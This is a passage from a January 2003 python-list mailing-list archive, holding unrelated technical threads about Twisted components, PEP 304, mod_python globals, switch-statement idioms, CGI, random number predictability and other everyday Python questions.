components.registerAdapter(VersionOneAdapter, C, IGoodStuff)
c1 = C()
c1.getComponent(IGoodStuff).bar()

# Override the global setting for this instance only
c1.setComponent(IGoodStuff, VersionTwoAdapter(c1))
c1.getComponent(IGoodStuff).bar()


  Twisted lives at http://www.twistedmatrix.com/ and the epydocs for
Componentized are at

http://twistedmatrix.com/documents/TwistedDocs/current/api/public/twisted.python.components.Componentized.html

  Unfortunately there is no howto for components yet :(  There are some good
examples of Component usage in TR, though, which you can get via anon-cvs:

  cvs -d:pserver:anon at twistedmatrix.com:/cvs co Reality

  Jp

-- 
Elitism: It's lonely at the top, but it's comforting to look down upon
everyone at the bottom.
--
 12:00am up 35 days, 9:48, 3 users, load average: 0.61, 0.33, 0.22
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030120/b4f75b72/attachment.sig>

From max at alcyone.com  Sat Jan 25 21:14:45 2003
From: max at alcyone.com (Erik Max Francis)
Date: Sat, 25 Jan 2003 18:14:45 -0800
Subject: Generating Unique Keys
References: <mailman.1043511885.28833.python-list@python.org>
Message-ID: <3E334495.50BD476B@alcyone.com>

Mongryong wrote:

> Is there python library for generating unique keys on Linux? 
> Something
> sort of like Window's HKEY generator.  Thanks.

I made a configurable one for grins:

	http://www.alcyone.com/pyos/uid/

It's _not_ strictly UUIDs/GIDs, but they would probably suffice for most
applications.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ No one knows what he can do until he tries.
\__/ Publilius Syrus
    Bosskey.net: Return to Wolfenstein / http://www.bosskey.net/rtcw/
 A personal guide to Return to Castle Wolfenstein.



From max at alcyone.com  Tue Jan 21 14:42:57 2003
From: max at alcyone.com (Erik Max Francis)
Date: Tue, 21 Jan 2003 11:42:57 -0800
Subject: Where do you store data files?
References: <bdb5b58f.0301201653.3a9166d4@posting.google.com> <bdb5b58f.0301211118.3fe5cc45@posting.google.com>
Message-ID: <3E2DA2C1.56EB61A5@alcyone.com>

logistix wrote:

> /tmp sounds like a good idea but I'm going to have about 15-20 Megs of
> data.

/tmp is a bad idea if the data is supposed to stick around or is
important.  /tmp is explicitly for temporary (as its name suggests)
data; you've no guarantee that stuff in /tmp will be around
indefinitely.  (On some UNIX systems, for instance, it's a ramdisk, and
its contents go poof when you reboot the machine.)

> I noticed my BSD machine installed apache's files under /var , but I
> think the default version and linux installs attach to the /home
> partition under a subdir that isn't attached to any particular user.

Presumably the place where things are installed should be selectable by
the user.  Somewhere under /var is probably satisfactory for things that
expected to continue running.  A fake user under /home (or whatever the
directory for home is) is occasionally used but strikes me is inelegant.
There shouldn't be any reason that the person using your software
shouldn't decide for themselves where it should go; if they want it to
into /misc/whatever then that should be just fine.  After all, the
person doing the installing is going to know where the best place is
based on the disk space usage of the machine.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ The doors of Heaven and Hell are adjacent and identical.
\__/ Nikos Kazantzakis
    Official Omega page / http://www.alcyone.com/max/projects/omega/
 The official distribution page for the popular Roguelike, Omega.



From skip at pobox.com  Mon Jan 27 10:13:46 2003
From: skip at pobox.com (Skip Montanaro)
Date: Mon, 27 Jan 2003 09:13:46 -0600
Subject: killing thread ?
In-Reply-To: <b131al$paf$1@nyheter.chalmers.se>
References: <b0r1ds$10s0fi$1@hades.rz.uni-sb.de>
        <7xisweedcd.fsf@ruckus.brouhaha.com>
        <3E3188BF.3C39D8CA@engcorp.com>
        <7xd6mme5dn.fsf@ruckus.brouhaha.com>
        <b131al$paf$1@nyheter.chalmers.se>
Message-ID: <15925.19626.816771.49696@montanaro.dyndns.org>

    >> All kinds of stuff like process control, file i/o operations, etc.
    >> are OS dependent and Python supports OS specific calls to deal with
    >> those things.  Why on earth should threads have to get a bigger dose
    >> of OS-independence religion than ioctl gets?  This just baffles me.

    Jacob> You have things backwards. Ioctl is a deplorable example of when
    Jacob> OS independence was too hard to achieve. If it can reasonably be
    Jacob> redone in an OS independent way it should. The functionality
    Jacob> itself is way too important to rip out.

It seems to me that the general way platform-dependent stuff is handled is
on a module-by-module basis.  Accordingly, an entire module is either
platform-dependent or platform-independent.  Thus fcntl is Unix-only, as is
win32all.  Once a decision is made that a module will be
platform-independent, it's rare that platform-dependent extensions are made
to it.  That may mean some sacrifice in functionality (e.g., no thread
killing).

The os module is a bit of a weird beast because it provides a hint of
platform independence on top of the posix module and its ilk, but the
programmer must still be careful which module-level objects are used if
concerned about platform independence.  I view this is a compromise.  It
would break too much code to go back now and try to make the os module truly
platform-independent.

Skip





From skip at pobox.com  Wed Jan 29 14:24:22 2003
From: skip at pobox.com (Skip Montanaro)
Date: Wed, 29 Jan 2003 13:24:22 -0600
Subject: PEP 304 - Controlling generation of bytecode files
In-Reply-To: <SCwZ9.917$CO5.116402193@newssvr14.news.prodigy.com>
References: <mailman.1043707550.22103.python-list@python.org>
        <SCwZ9.917$CO5.116402193@newssvr14.news.prodigy.com>
Message-ID: <15928.10854.332348.98416@montanaro.dyndns.org>

    Dennis> Why not "pyc_dir" as a shorter name?

I've already shortend it to "bytecodebase".  Guido didn't want it too
short. ;-)

    Dennis> This PEP does not address explicitly how the user can change the
    Dennis> env.  variable during startup. Suppose I code in my main module:

    Dennis>     sys.pythonbytecodebase = ""
    Dennis>     import file01
    Dennis>     import file02
    Dennis>     sys.pythonbytecodebase = "outdir/subdir"
    Dennis>     import file03
    Dennis>     ....  #etc.

    Dennis> does this give file by file control?

As someone else pointed out, only if neither file01 nor file02 import
file03.  In any case, my intent here is *not* to provide file-by-file
control over .pyc writes.

    Dennis> What I would really want is directory by directory control.  I
    Dennis> am importing from the following example structure

This is also not the intent of this PEP.

    Dennis> I would like a clean way to treat pyc files in dirA one way and
    Dennis> dirB another without chasing down every import.  For example:

    Dennis>     sys.pyc_dir = {"dirA":"", dirB:"output/dir/path", ".":"some/other/path"}

Again, this is beyond the scope or intention of the PEP.  Perhaps you can
accomplish what you want with an import hook.  See PEP 302.

    Dennis> once at the beginning would give all the control I would want.
    Dennis> Perhaps there is a way to incorporate file by file control in a
    Dennis> single statement also.

That's really not the aim of the PEP.  I'll make that explicit in the next
revision of the document.  The original motivation for the PEP was to
provide a reasonable way for multiple processes to not step on one anothers'
toes when .pyc files were generated, either by suppressing .pyc writes
altogether or by specifiying process-specific directory trees so writes
would be isolated from other processes.

Skip





From andrew-pythonlist at puzzling.org  Mon Jan 27 05:04:37 2003
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Mon, 27 Jan 2003 21:04:37 +1100
Subject: beating a dead horse: automated form submission
In-Reply-To: <b0e655d.0301270041.34ebedff@posting.google.com>
References: <b0e655d.0301251204.5b7415e5@posting.google.com> <3E32EFD8.D00D4656@engcorp.com> <b0e655d.0301260938.14265877@posting.google.com> <3E342721.E8925970@engcorp.com> <b0e655d.0301270041.34ebedff@posting.google.com>
Message-ID: <20030127100437.GG451@frobozz.local>

On Mon, Jan 27, 2003 at 12:41:50AM -0800, Whit Whitfield wrote:
> Peter Hansen <peter at engcorp.com> wrote in message news:<3E342721.E8925970 at engcorp.com>...
> > Not sure what else might be going wrong... why not try
> > the example from the documentation on httplib?
> 
> I tried to run that example and get an Attribute error:HTTPConnection.
> It's a sad affair when I can't even get the 10-line examples from the
> standard python libraries to work.  Any tips there?

What does "print httplib.__file__" say?  I'm suspecting you might have
something else on your pythonpath called "httplib.py"...

-Andrew.





From mwm at mired.org  Sun Jan 12 16:12:41 2003
From: mwm at mired.org (Mike Meyer)
Date: Sun, 12 Jan 2003 21:12:41 GMT
Subject: Elegant copy-by-value
References: <87n0m7urz4.fsf@gvdnet.dk> <3E20CA0F.E2C07F4E@engcorp.com> <87k7hbul7w.fsf@gvdnet.dk> <3E20DFE7.FD196BD3@engcorp.com> <87d6n2h5mn.fsf@gvdnet.dk>
Message-ID: <x7ptr2rs1a.fsf@guru.mired.org>

Martin Christensen <knightsofspamalot-factotum at gvdnet.dk> writes:

> I wasn't thinking of simplicity implementation-wise. It just seems
> very awkward to me that it should be necessary to import a module just
> to be able to copy the value of even a primitive.

If it still bothers you, how about a PEP proposing that object have
copy and deepcopy methods that DTRT? That way, all new-style classes
would have a copy and deepcopy methods, so you could invoke them
without having to import a module.

        <mike
-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From lac at strakt.com  Sat Jan  4 14:05:49 2003
From: lac at strakt.com (Laura Creighton)
Date: Sat, 04 Jan 2003 20:05:49 +0100
Subject: new years resolutions 
In-Reply-To: Message from Cliff Wells <clifford.wells@attbi.com> 
   of "04 Jan 2003 10:45:23 PST." <1041705923.6001.32.camel@x1-6-00-04-5a-64-c4-03> 
References: <mailman.1041550805.3550.python-list@python.org> <x77kdm98f8.fsf@guru.mired.org> <3E159EC6.CC98EB08@engcorp.com> <mailman.1041641110.13072.python-list@python.org> <3E164F92.58798556@engcorp.com> <2292.3e16c91f.9dd65@basilisk> <1041705923.6001.32.camel@x1-6-00-04-5a-64-c4-03> 
Message-ID: <200301041905.h04J5njL016319@ratthing-b246.strakt.com>

<snip>

> Ah, but you are equating "computer background" with "CS background"
> which ignores a large segment of knowledgeable people.  There is a guy
> at my work who built a serial IO card using nothing but a pen plotter to
> etch the circuit board, a small processor (and a couple of support
> chips) and his own custom firmware.  I doubt many CS majors could do the
> same, yet they would somehow exclude his POV in favor of their own,
> despite the fact that their entire world ceases to exist without people
> like him.  Ask yourself, is computing about software, or about
> hardware?  Obviously both, but I can assure you that hardware without
> software is far more useful than the reverse <wink>.
> 
> -- 
> Cliff Wells <clifford.wells at attbi.com>

I don't think that dividing 'csc == software' and 'engineering ==
hardware' is the best possible way to distinguish between them.  A
more useful question, I believe, is 'do you hunger to build things, or
just to think about them'?  (Some people do both about equally, of
course.)  The distinction is important for people who are considering
getting a degree in computer science.  Some of them do quite badly at
it because what they want is a degree that will help them build the
programs they dream of creating, and instead they are persuing a
degree that will help them think about thoughts they have no interest
in thinking. This is a very bad fit.

proto-Scientists who mistakenly head for the Engineering, or
Engineering-Science departments tend to do much better.  They become
Engineering professors. This is not necessarily good for the
Engineering professions -- graduate engineers in all fields generally
spend their first few professional years discovering they have studied
way too much theory, and not enough 'how to recognise a really bad
engineering design based on the practical experience we have in
building things'.  By the time they have learned that, they have mostly
forgotten the theory that was crammed into them at university ...

Laura Creighton
 




From cnetzer at mail.arc.nasa.gov  Mon Jan 27 19:14:41 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: Mon, 27 Jan 2003 16:14:41 -0800
Subject: Generating Unique Keys
In-Reply-To: <15925.45528.270502.97360@montanaro.dyndns.org>
References: <1043511783.4939.1.camel@refugeeMedia> <200301272205.OAA25820@mail.arc.nasa.gov> <15925.45528.270502.97360@montanaro.dyndns.org>
Message-ID: <200301280014.QAA11345@mail.arc.nasa.gov>

On Monday 27 January 2003 14:25, Skip Montanaro wrote:
> Chad> If you see a sequence of
> Chad> random numbers, it is possible (in principle) to 'solve' the
> seed and sequence, and start predicting the next random
> numbers.

> Is this also true for the new-in-2.3 random number generator
> (Mersenne Twister)?  I'm not trying to pick nits with your arguments,
> just asking.  I know nothing about cryptography or random number
> generation.

While not an expert on the Mersenne Twister algorithm, I've looked at 
some (python) implementation code, and it seems as though it would also 
be "solvable" given not too much data.  It may take a fairly long 
sequence before being able to predict the future values, however.

Cryptographic Hash functions (and random number generators based on 
them) go much further, in that they are attempts to produce a "one-way" 
function.  They are based on ciphers, which always have some non-linear 
operations in their design (non-linear substitutions, or one-way 
sequences of operations).  They then typically do these operations over 
many 'rounds', which is where the non-reversability comes in (each 
round of one-way operations produces many one-to-many mappings of 
input).

It is a complex subject, and I'm no expert (but I have done some 
graduate studies on it), but basically, hashes are secure because they 
are designed to be, and they typically do LOTS of operations per input, 
compared to most PRNGs (which try to appear random, but are more 
concerned with speed of calculation; they have different design goals).

-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer
(any opinion expressed is my own and not NASA's or my employer's)




From dyoo at hkn.eecs.berkeley.edu  Thu Jan  9 19:15:46 2003
From: dyoo at hkn.eecs.berkeley.edu (Daniel Yoo)
Date: Fri, 10 Jan 2003 00:15:46 +0000 (UTC)
Subject: Having a __stdlib__ namespace?
Message-ID: <avl3bi$v9i$1@agate.berkeley.edu>

I often find that the modules in my own directory can be misnamed to
conflict with those in the Standard Library.  For example, I might
have a file called 'random.py' in my working directory, which obscures
the Standard Library module.


Would it be a good idea to have a '__stdlib__' module that magically
maps its attributes to only Standard Library modules?  It would act as
a namespace to guarantee access to the standard library, no matter how
weird the sys.path might get.


For example:

###
import __stdlib__.random      ## guarantees that we're using the
                              ## standard library module to look this up
###


I wanted to get some feedback on this before writing a PEP... *grin*



From nospam at bigfoot.com  Mon Jan 13 18:14:54 2003
From: nospam at bigfoot.com (Gillou)
Date: Tue, 14 Jan 2003 00:14:54 +0100
Subject: string formatting with missing dictionary key
References: <3e22f35a@news.ColoState.EDU>
Message-ID: <avvgfi$e1o$1@norfair.nerim.net>

"gyro" <gyromagnetic at excite.com> a ?crit dans le message de news:
3e22f35a at news.ColoState.EDU...
> Hi,

>
> Is there a better or more Pythonic way to do this?
>
> Thanks for your help.
>
> -g
>

Perhaps subclassing an UserDict that returns a default value on a missing
key may do the job you expect.

>>> from UserDict import UserDict
>>> class MyDict(UserDict):
...  def __getitem__(self, k):
...   return self.data.get(k, 'no data')
...
>>> d = {'one' : 1, 'two': 2}
>>> md = MyDict(d)
>>> md['one']
1
>>> md['two']
2
>>> md['something_else']
'no data'
>>>

--Gilles






From exarkun at intarweb.us  Thu Jan 23 15:12:48 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Thu, 23 Jan 2003 15:12:48 -0500
Subject: Python use growing or shrinking
In-Reply-To: <3E301F4A.3060803@nipltd.com>
References: <v2rhpd4d6p8f79@corp.supernews.com> <3E2DFBC6.32058F2C@alcyone.com> <b68f71a7.0301220333.143efd58@posting.google.com> <dJHX9.7044$Sv3.695182@newsread1.prod.itd.earthlink.net> <3E301F4A.3060803@nipltd.com>
Message-ID: <20030123201248.GA6765@meson.dyndns.org>

On Thu, Jan 23, 2003 at 04:58:50PM +0000, Chris Keyes wrote:
> [snip]
> I'm sure I've seen that NASA use Python (anyone?)
> 
> [snip]

  Second story at this url: http://twistedmatrix.com/services/success

  Jp

-- 
Lowery's Law:
        If it jams -- force it.  If it breaks, it needed replacing anyway.
-- 
 up 38 days, 23:48, 5 users, load average: 1.88, 1.70, 1.66
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030123/19550c0c/attachment.sig>

From jack at performancedrivers.com  Wed Jan 15 18:03:47 2003
From: jack at performancedrivers.com (Jack Diederich)
Date: Wed, 15 Jan 2003 18:03:47 -0500
Subject: Switch statements again
In-Reply-To: <1042670767.3e25e4afa12e5@www.progoth.com>; from bodoni26@resnet.gatech.edu on Wed, Jan 15, 2003 at 05:46:07PM -0500
References: <1042670767.3e25e4afa12e5@www.progoth.com>
Message-ID: <20030115180346.D13035@localhost.localdomain>

On Wed, Jan 15, 2003 at 05:46:07PM -0500, Steven Scott wrote:
> I've been reading the claims about doing things a more elegant way in python
> when it comes to switch statements, using if-elif-else and/or dictionaries
> of function pointers.  the following can be done with if-elif-else (and
> that's how I did it), but it sure is ugly.  my question is simply "what's
> the best way to do this in python?"
> 
>     switch (calDayOfWeekMask)
>       {
> 	  <snip>
> 	
>       case MASK_SUNDAY:
> 		dayOfWeek--;		// and fall thru
>       case MASK_MONDAY:
> 		dayOfWeek--;		// and fall thru
>       case MASK_TUESDAY:
> 		dayOfWeek--;		// and fall thru
>       case MASK_WEDNESDAY:
> 		dayOfWeek--;		// and fall thru
>       case MASK_THURSDAY:
> 		dayOfWeek--;		// and fall thru
>       case MASK_FRIDAY:
> 		dayOfWeek--;		// and fall thru
>       case MASK_SATURDAY:
> 		if (calWeekNumber == LAST)
> 		  {
> 		    occurrence.setDay(occurrence.getDaysInMonth());
> 		    occurrence.addDays(- ((7 - dayOfWeek
> 					   + occurrence.getDayOfWeek()) %
> 7));
> 		  }
> 		else
> 		  {
> 		    occurrence.setDay(1 + ((calWeekNumber - 1) * 7));
> 		    occurrence.addDays((dayOfWeek + 7 -
> occurrence.getDayOfWeek()) % 7);
> 		  }
> 		break;
> 		
>       default:
> 		return FAIL;
>       }

Assume that the mask names are like SUN .. SAT below

# setup the masks offsets
val = 6
subtract = {}
for (day_mask) in (SUN, MON, TUE, WED, THU, FRI, SAT):
  subtract[day_mask] = val
  val -= 1

try:
  dayOfWeek -= subtract[calDayOfWeekMask]
  if (calWeekNumber == LAST):
    # do one thing
  else:
    # do your other thing
except (KeyError,), e:
  return FAIL


There might be a typo, but this is close to what you want.

You could also do something fancier to initialize such as
using a list comprehension or zip().  Comprehensions always
hurt readability (ALWAYS), and we don't need the speedup
here so we do it explicitly.

-jackdied

  







From sheershion at mailexpire.com  Sat Jan 18 14:22:49 2003
From: sheershion at mailexpire.com (Robert Amesz)
Date: Sat, 18 Jan 2003 19:22:49 -0000
Subject: Overloading methods in C API
References: <2ufi2vkrpg6rikt5sv0tf5f8klfruerqlg@4ax.com> <m33cnq4qqr.fsf@mira.informatik.hu-berlin.de> <bsoi2v4rokh97unbdnfa9pndd8cctjd6ru@4ax.com> <slrnb2itok.8di.grante@localhost.localdomain>
Message-ID: <Xns9307CD595EDCBrcamesz@amesz.demon.nl>

Grant Edwards wrote:

>> Is method/function overloading common in Python modules?
> 
> No.  It's isn't supported.  The language does not allow it. 
> Therefore, it is not common.

It's not that the language doesn't allow it, it's just that dynamic 
typing makes it impossible to decide beforehand what methods/functions 
would be called.


>> Is it looked down upon?
> 
> It is not allowed by the language design. I suppose that's a
> pretty good indication that it's "looked down upon."

No, it's not "looked down upon". Take, for example, the % operator for 
strings: it allows things like:

   "Single value: %d" % 43

or:

   "Multiple values: %s %d" % ("one", 2)

or even:

   "Using a dict: %(first)s %(second)d" % {"first": "one", "second": 2}

That's a pretty overloaded function, if you ask me, and it's part of 
core Python. It's just that in Python you have to do this manually. Ah, 
well, "explicit is better than implicit", to coin a phrase.


Robert Amesz



From mwh at python.net  Wed Jan 15 11:31:40 2003
From: mwh at python.net (Michael Hudson)
Date: Wed, 15 Jan 2003 16:31:40 GMT
Subject: OT: spam filtering idea
References: <7xr8bhhy0n.fsf@ruckus.brouhaha.com> <avv6ah$clk$1@verence.demon.co.uk> <7h3lm1nsyhm.fsf@pc150.maths.bris.ac.uk> <mailman.1042575028.2876.python-list@python.org>
Message-ID: <7h3hecaqsqc.fsf@pc150.maths.bris.ac.uk>

Jeff Epler <jepler at unpythonic.net> writes:

> On Tue, Jan 14, 2003 at 12:32:00PM +0000, Michael Hudson wrote:
> > A reflection of this fact is that spammers are clearly testing their
> > mails against SpamAssassin, whereas some mailshots I get, and want to
> > get, (the Apple Developer Connection News being a striking example)
> > frequently get flagged by SA as spam.
> 
> They must not be working too hard.

OK, "some spammers".

> I have a message here with a very spammy "copy your dee vee dee"
> body taken from real spam plus a few headers and footers that gets
> -15 points on spamassassin 2.43 (default weights, no whitelist or
> auto-whitelist).  Or maybe 2.43 isn't their target..

A little confused -- isn't -15 verymuchnotspam in SA-land?

Cheers,
M.

-- 
  I really hope there's a catastrophic bug insome future e-mail
  program where if you try and send an attachment it cancels your
  ISP account, deletes your harddrive, and pisses in your coffee
                                                         -- Adam Rixey



From stephen.boulet at motorola.com  Tue Jan 21 23:11:46 2003
From: stephen.boulet at motorola.com (Stephen Boulet)
Date: Tue, 21 Jan 2003 22:11:46 -0600
Subject: tkinter buttons and columnspan
Message-ID: <3E2E1A02.90805@motorola.com>

Is there a way, when using grid to place widgets in tkinter, to make a button 
fully occupy multiple columns?

-- Stephen




From P at draigBrady.com  Fri Jan  3 05:34:19 2003
From: P at draigBrady.com (P at draigBrady.com)
Date: Fri, 03 Jan 2003 10:34:19 +0000
Subject: comments inside blocks
In-Reply-To: <3E148575.FC9FCE77@engcorp.com>
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <025d32cf-da98-4afa-ab9f-2f3f978a9c38@news.szn.dk> <av1dsi$pqv$1@reader1.imaginet.fr> <3E14442D.7080501@draigBrady.com> <mailman.1041517263.5169.python-list@python.org> <3E145C80.7080800@draigBrady.com> <3E1468BF.94A4DAD6@engcorp.com> <3E146ED1.8010602@draigBrady.com> <3E148575.FC9FCE77@engcorp.com>
Message-ID: <3E15672B.9010508@draigBrady.com>

Peter Hansen wrote:
> P_spam_ at draigBrady.com wrote:
> 
>>Well it also folds if there is any amount of whitespace
>>between the block and the comment. I.E.
>>
>>for i in range(10):
>>     print i
>>
>>#comment nothing to do with for
>>def fn():
>>     print "fn"
> 
> 
> Okay, good point.  Remember though, that this is also valid
> Python:
> 
> for i in range(10):
>     print i
> 
> # if we make it to the end, do this
> else:
>     print 'loop completed normally!'

well the else (same level) is never folded along with the for

> I'm afraid you probably can't get the behaviour you want without a lot
> more logic than the program currently has.  It might be doable, but 
> not easy...

I think it would be easy to say once anything appears at
the same level then stop folding? (except when brackets are involved..
hmm this seems broken also (I'll expand below)).

P?draig.




From lazypointer at yahoo.com  Wed Jan  8 23:45:45 2003
From: lazypointer at yahoo.com (Byron Morgan)
Date: Thu, 09 Jan 2003 04:45:45 GMT
Subject: Generate variables at run time?
References: <VyPS9.6818$xs6.347786501@newssvr14.news.prodigy.com> <avi7k2$g5tob$1@ID-89047.news.dfncis.de>
Message-ID: <Z77T9.276$V71.172@newssvr19.news.prodigy.com>

Thanks to all for the good suggestions.

I have been using REXX for years for all my scripting needs. In REXX, I can
use any string as a variable with no special handling.

Here is the project:

A server supplies an alphanumeric data stream over an internet socket. The
data is output from a train control system. Trains constantly enter and
leave the controlled territory, and each has a unique ID. I want to use a
class named  "train", and name each new instance based on this ID. For
example, train 123 will cause creation of  T123=train(). While the train is
in the system, it will be frequently updated based on new data, then it will
be destroyed when the train leaves the system.

for the curious:
In REXX, for a similar situation, I use a stem "train", then add the train
number, then add each attribute as events are reported.
train. = 0
train.123 = 1 (value represents the number of cars in train)
train.123.stat = 1 (0 if stopped, 1 if moving)
train.123.doors = 1 (1 if closed, 0 if open)

etc.

Judging by the excellent advice I got from one question, I think I'm gonna
like this Python, Monty!

Byron Morgan

"Marko" <junkthis at blueyonder.co.uk> wrote in message
news:avi7k2$g5tob$1 at ID-89047.news.dfncis.de...
> Byron Morgan wrote:
> > Is there any way in Python to generate a new variable name based on
> > data? I have tried the eval() function, but this gets rejected, if
> > the variable doesn't already exist.
> >
> > There has to be a way to do this, but I can't find it, probaly
> > because I am just starting to learn Python.
> >
> > Byron
>
> As others have already pointed out you could use dicts or classes for
this.
> However, you might not be aware that setattr and delattr also work at
module
> level, so you could also do this:
>
> new_var_name = "abc"
> setattr(sys.modules[__name__], new_var_name, "123")
>
> ...which obviously creates a variable called abc with the value 123. You
can
> then delete it with:
>
> delattr(sys.modules[__name__], new_var_name)
>
> I personally don't think this is the most elegant solution and I would
> suggest using dictionaries instead, but it does work this way too.
>
> HTH
> Marko
>
>





From grante at visi.com  Fri Jan  3 18:04:28 2003
From: grante at visi.com (Grant Edwards)
Date: 03 Jan 2003 23:04:28 GMT
Subject: how to submit a patch?
References: <3e160e11$0$229$a1866201@newsreader.visi.com> <slrnb1c3u0.3kp.gerhard.haering@lilith.my-fqdn.de>
Message-ID: <3e1616fc$0$174$a1866201@newsreader.visi.com>

In article <slrnb1c3u0.3kp.gerhard.haering at lilith.my-fqdn.de>, Gerhard H?ring wrote:
> Grant Edwards wrote:
>> A couple months back I fixed the termios module so that various
>> functions (tcdrain, etc.) were thread-aware.
>> 
>> However, I've not been able to figure out how to submit a
>> patch. I found the web page that allows one to browse existing
>> patches.  How do I submit one?
> 
> Does this answer some of your questions:
> 
> http://www.python.org/dev/devfaq.html#patches
> 
> ?

No.  

I know how to create the patch, and I've been to the Python
patch manager page at SF.  

Using the SF patch manager, how do you submit a patch?

IOW, where is the "submit patch" button hidden?

-- 
Grant Edwards                   grante             Yow!  ... bleakness...
                                  at               desolation... plastic
                               visi.com            forks...



From davegaramond at icqmail.com  Mon Jan 13 13:30:15 2003
From: davegaramond at icqmail.com (David Garamond)
Date: Mon, 13 Jan 2003 11:30:15 -0700
Subject: Python for CGI is dead?
References: <cb035744.0301120614.3b19d223@posting.google.com> <3E21B850.9020304@tc.umn.edu>
Message-ID: <3E2305B7.1010307@icqmail.com>

Michael Urban wrote:
> I would argue that CGI itself is dead. 

No, CGI is very much alive.

> Or at least it should be. It's
> an outdated technology 

"Outdated" as it is, there's still no replacement for it. No, mod_python 
cannot replace CGI. mod_python only runs on Apache, it cannot be wrapped 
so it cannot be safely deployed in a multiuser environment (like in a 
shared hosting server). FastCGI comes closest to being a replacement for 
CGI, but how many shared hosting servers out there offers FastCGI (or 
mod_python, for that matter)?

> that is a huge performance hit on the server.

You cannot blame this solely on the CGI protocol. The CGI protocol is a 
mainly geared for non-persistent processes, i.e.: a request comes and a 
separate program is launched just for that process. The performance hit 
varies and most of the time it doesn't matter. Also, most of the 
slowdown is caused by the interpreter, not by the process spawning 
(fork+exec). For compiled binaries, I can easily serve 100-200 reqs/sec 
with CGI. However, with Python scripts the number falls down to 10-50 
reqs/sec. Ruby is even slower because of the higher startup overhead (I 
reckon 5-25 reqs/sec in today's common machines).

> However, mod_python is very much alive (embed Python interpretor ...

-- 
dave





From msoulier at storm.ca._nospam  Sat Jan  4 15:16:30 2003
From: msoulier at storm.ca._nospam (Michael P. Soulier)
Date: 4 Jan 2003 20:16:30 GMT
Subject: php vs python
References: <3e15ed2c$0$214$edfadb0f@dread12.news.tele.dk>
Message-ID: <av7feu$9vq$1@news.storm.ca>

On Fri, 3 Jan 2003 21:01:40 +0100, Joe <soulchaos at hotmail.com> wrote:
> What can Phyton do for me that php cant't?

    I've used PHP for some time now, and frankly, it's a kludge. Python is a
very well designed, well thought-out language. PHP is a kludge. 

    For one thing, PHP has no namespaces. Makes libraries difficult. 

    Mike

-- 
Michael P. Soulier <msoulier at storm.ca>, GnuPG pub key: 5BC8BE08
"...the word HACK is used as a verb to indicate a massive amount
of nerd-like effort."  -Harley Hahn, A Student's Guide to Unix
HTML Email Considered Harmful: http://expita.com/nomime.html



From skip at pobox.com  Fri Jan  3 10:05:39 2003
From: skip at pobox.com (Skip Montanaro)
Date: Fri, 3 Jan 2003 09:05:39 -0600
Subject: Sorting out sort (Re: Python vs. Ruby)
In-Reply-To: <3e15a042$0$71636$edfadb0f@dread11.news.tele.dk>
References: <_YhQ9.391356$GR5.119074@rwcrnsc51.ops.asp.att.net>
        <v14ch7mkp0vu55@news.supernews.com>
        <mailman.1041382562.17669.python-list@python.org>
        <v15qgkgpq72tbf@news.supernews.com>
        <3759308d.0301011401.4b32deba@posting.google.com>
        <3e143ffa$0$71611$edfadb0f@dread11.news.tele.dk>
        <v18hldk4img654@news.supernews.com>
        <3e144c3a$0$71645$edfadb0f@dread11.news.tele.dk>
        <v1b7idcfms9ne0@news.supernews.com>
        <3e15a042$0$71636$edfadb0f@dread11.news.tele.dk>
Message-ID: <15893.42691.875313.907401@montanaro.dyndns.org>

    >> > What more do you need?
    >> 
    >> Something that chains properly.

    Anders> What does that mean? What does chaining do for you that
    Anders> composition doesn't?

Preserve references to the original object?

S





From lakeofburningfire at kyle.orgdon'tspamme  Fri Jan 24 13:13:49 2003
From: lakeofburningfire at kyle.orgdon'tspamme (Kyle Yancey)
Date: Fri, 24 Jan 2003 18:13:49 GMT
Subject: Life cycle of a mod_python application and scope of global variables
Message-ID: <gmv23v0636f5lnod5efh7emoi4uao9275o@4ax.com>

I've been trying out mod_python + apache + WinXP lately.  I was
wondering if I could get some help clarifying a few things.

My primary concern is with the lifespan of global variables.  As I
understand it, in mod_python a global variable is initialized when the
handler script is first started.  Global variables are not released
when the instance of the script ceases, and the variable is
essentially static and global for all instances of the handler script.

example:

#!/usr/bin/env python
from mod_python import apache

def handler(req):
   req.content_type = "text/plain" 
   req.send_http_header()
   req.write(i)
   return apache.OK



Consecutive executions of this script will output
1
2
3
4
5
etc.

Are global variables just shared between multiple threads, and should
they be protected with mutexes to prevent race conditions.  I'm a bit
confused about this since I'm just now learning about multithreading.
I'm aware that the smart thing to do is to just not use them, but I
hate being uncertain about what is going on.



From gerhard.haering at opus-gmbh.net  Tue Jan 14 05:35:52 2003
From: gerhard.haering at opus-gmbh.net (Gerhard =?iso-8859-1?Q?H=E4ring?=)
Date: 14 Jan 2003 10:35:52 GMT
Subject: passwords to CGI
References: <cb035744.0301140219.590608ae@posting.google.com>
Message-ID: <slrnb27poi.17k.gerhard.haering@haering.opus-gmbh.net>

Will Stuyvesant <hwlgw at hotmail.com> wrote:
> Sending a password to a CGI script with this HTML::
> 
>     <input type=password name=pwd>
> 
> is scary for a user since he sees the pwd appearing
> in the url the browser calls.  This is when you use
> the GET method (I'd rather not use POST, see below).
> Is there a way to encrypt a password before it is
> sent? [...]

It's called HTTPS :-)

Gerhard
-- 
Gerhard H?ring
OPUS GmbH M?nchen
Tel.: +49 89 - 889 49 7 - 32
http://www.opus-gmbh.net/



From claird at lairds.com  Tue Jan 14 18:01:59 2003
From: claird at lairds.com (Cameron Laird)
Date: Tue, 14 Jan 2003 23:01:59 -0000
Subject: Automating Web Interfaces with Python
References: <mailman.1042572205.4047.python-list@python.org>
